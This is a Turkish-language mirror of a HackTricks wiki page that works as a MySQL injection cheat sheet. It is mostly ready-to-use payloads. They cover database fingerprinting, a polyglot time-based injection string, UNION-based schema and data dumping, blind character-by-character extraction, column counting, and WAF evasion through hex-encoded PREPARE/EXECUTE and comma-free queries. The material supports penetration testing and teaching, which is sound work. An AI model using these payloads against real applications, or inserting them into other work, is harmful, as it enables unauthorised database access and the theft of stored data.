mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
161 lines
6.3 KiB
Markdown
161 lines
6.3 KiB
Markdown
# MySQL injection
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## Yorumlar
|
||
```sql
|
||
-- MYSQL Comment
|
||
# MYSQL Comment
|
||
/* MYSQL Comment */
|
||
/*! MYSQL Special SQL */
|
||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||
```
|
||
## İlginç Fonksiyonlar
|
||
|
||
### Mysql'ü Onayla:
|
||
```
|
||
concat('a','b')
|
||
database()
|
||
version()
|
||
user()
|
||
system_user()
|
||
@@version
|
||
@@datadir
|
||
rand()
|
||
floor(2.9)
|
||
length(1)
|
||
count(1)
|
||
```
|
||
### Kullanışlı fonksiyonlar
|
||
```sql
|
||
SELECT hex(database())
|
||
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
|
||
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
|
||
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
|
||
SELECT replace(database(),"r","R")
|
||
SELECT substr(database(),1,1)='r'
|
||
SELECT substring(database(),1,1)=0x72
|
||
SELECT ascii(substring(database(),1,1))=114
|
||
SELECT database()=char(114,101,120,116,101,115,116,101,114)
|
||
SELECT group_concat(<COLUMN>) FROM <TABLE>
|
||
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||
```
|
||
## Tüm enjeksiyonlar
|
||
```sql
|
||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||
```
|
||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||
|
||
## Akış
|
||
|
||
"Modern" **MySQL** sürümlerinde "_**information_schema.tables**_" yerine "_**mysql.innodb_table_stats**_" kullanabileceğinizi unutmayın (Bu, WAF'leri atlatmak için faydalı olabilir).
|
||
```sql
|
||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||
```
|
||
### **Sadece 1 değer**
|
||
|
||
- `group_concat()`
|
||
- `Limit X,1`
|
||
|
||
### **Kör birer birer**
|
||
|
||
- `substr(version(),X,1)='r'` veya `substring(version(),X,1)=0x70` veya `ascii(substr(version(),X,1))=112`
|
||
- `mid(version(),X,1)='5'`
|
||
|
||
### **Kör ekleme**
|
||
|
||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
|
||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||
|
||
## Sütun sayısını tespit etme
|
||
|
||
Basit bir ORDER kullanarak
|
||
```
|
||
order by 1
|
||
order by 2
|
||
order by 3
|
||
...
|
||
order by XXX
|
||
|
||
UniOn SeLect 1
|
||
UniOn SeLect 1,2
|
||
UniOn SeLect 1,2,3
|
||
...
|
||
```
|
||
## MySQL Birleşim Tabanlı
|
||
```sql
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||
```
|
||
## SSRF
|
||
|
||
**Burada farklı seçenekleri öğrenin** [**Mysql enjeksiyonunu kötüye kullanarak bir SSRF elde etmek için**](mysql-ssrf.md)**.**
|
||
|
||
## WAF atlatma hileleri
|
||
|
||
### Hazırlanmış İfadeler aracılığıyla sorguları yürütme
|
||
|
||
Yığın sorgulara izin verildiğinde, yürütmek istediğiniz sorgunun onaltılık temsilini bir değişkene atayarak WAF'ları atlatmak mümkün olabilir (SET kullanarak) ve ardından sorguyu nihayetinde yürütmek için PREPARE ve EXECUTE MySQL ifadelerini kullanabilirsiniz. Bunun gibi bir şey:
|
||
```
|
||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||
```
|
||
Daha fazla bilgi için lütfen [bu blog yazısına](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce) bakın.
|
||
|
||
### Information_schema alternatifleri
|
||
|
||
Unutmayın ki **MySQL**'in "modern" sürümlerinde _**information_schema.tables**_ yerine _**mysql.innodb_table_stats**_ veya _**sys.x$schema_flattened_keys**_ veya **sys.schema_table_statistics** kullanabilirsiniz.
|
||
|
||
### MySQL enjeksiyonu KOMALAR olmadan
|
||
|
||
Herhangi bir virgül kullanmadan 2 sütun seçin ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||
```
|
||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||
```
|
||
### Sütun adını bilmeden değerleri alma
|
||
|
||
Eğer bir noktada tablonun adını biliyorsanız ama tablodaki sütunların adını bilmiyorsanız, kaç tane sütun olduğunu bulmak için şu şekilde bir şey çalıştırmayı deneyebilirsiniz:
|
||
```bash
|
||
# When a True is returned, you have found the number of columns
|
||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||
```
|
||
Varsayalım ki 2 sütun var (ilk sütun ID, diğeri ise flag), flag'in içeriğini karakter karakter denemek için bruteforce yapmayı deneyebilirsiniz:
|
||
```bash
|
||
# When True, you found the correct char and can start ruteforcing the next position
|
||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||
```
|
||
Daha fazla bilgi için [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||
|
||
### MySQL tarihi
|
||
|
||
MySQL içinde diğer yürütmeleri görebilirsiniz: **sys.x$statement_analysis** tablosunu okuyarak
|
||
|
||
### Versiyon alternatif**leri**
|
||
```
|
||
mysql> select @@innodb_version;
|
||
mysql> select @@version;
|
||
mysql> select version();
|
||
```
|
||
## Diğer MYSQL enjeksiyon kılavuzları
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||
|
||
## Referanslar
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|